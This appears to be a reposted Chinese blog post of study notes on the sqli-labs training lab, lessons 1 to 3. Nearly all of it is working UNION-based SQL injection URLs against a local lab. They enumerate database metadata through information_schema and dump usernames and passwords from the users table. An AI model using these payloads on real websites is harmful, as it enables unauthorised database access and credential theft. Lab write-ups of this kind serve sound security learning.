sqli-labs學習記錄(一)
阿新 • • 發佈:2019-01-22
0x01 less-1
‘$id’
單引號注入
這裡寫程式碼片
http://localhost/sqli-labs-master/Less-1/?id=14' order by 3-- + //猜欄位
http://localhost/sqli-labs-master/Less-1/?id=14' union select 1,2,3-- + //檢視內容
發現伺服器依舊只返回了第一條查詢的資訊,這是因為後臺有個mysql_fetch_array只執行了一遍,那如何繞過呢,就是把第一個查詢置為空集。
http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,3-- + //id=0或者15都可以,因為測試了裡面只有14項紀錄,所以無論是0還是15第一行查詢都是返回空集
只有第二列和第三列會顯示在螢幕上,但是僅僅這兩個位置並不夠,因此需要用到資料庫連線函式concat和concat_ws
concat_ws的第一個引數是連線字串的分隔符。
http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,concat_ws(char(32,58,32),user(),database(),version())-- +
http://localhost/sqli-labs-master/Less-1 /?id=15' union select 1,2,concat_ws(char(58),user(),database(),version())-- +
記住常用的幾個資料庫函式
- user()查詢當前資料庫連線使用的使用者
- database()檢視當前資料庫連線使用的資料庫
- version()檢視當前資料庫的版本
http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,table_name from information_sche
ma.tables where table_schema=security-- + //查詢系統表
可以看到,這裡用where是不可以使用英文的,具體的是編碼原因,查詢information_schema中的資訊時,使用where語句值不能直接用英文
http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479-- + //使用16進製成功
http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1-- +
只能返回一個table,這時就要用的limit了。limit用於限制飯回家過的範圍
找我們最感興趣的user表
http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 2,1-- + //可以通過改變limit來枚舉出user表有3個欄位分別是id/username/password
0x02 less-2
$id
http://localhost/sqli-labs-master/Less-2/?id=0 union select 1,2,concat_ws(':',user(),database(),version()) -- +
http://localhost/sqli-labs-master/Less-2/?id=0 union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1-- +
http://localhost/sqli-labs-master/Less-2/?id=0 union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1-- +
http://localhost/sqli-labs-master/Less-2/?id=0 union select 1,2,concat_ws(':',id,username,password) from users limit 2,1-- +
0x03 less-3
(‘$id’)
http://localhost/sqli-labs-master/Less-3/?id=0') union select 1,2,3-- +
http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,concat_ws(char(58),user(),database(),version())-- +
http://localhost/sqli-labs-master/Less-3/?id=0') union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479-- +
http://localhost/sqli-labs-master/Less-3/?id=0') union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273-- +
http://localhost/sqli-labs-master/Less-3/?id=0') union select 1,2,concat_ws(':',id,username,password) from users limit 2,1-- +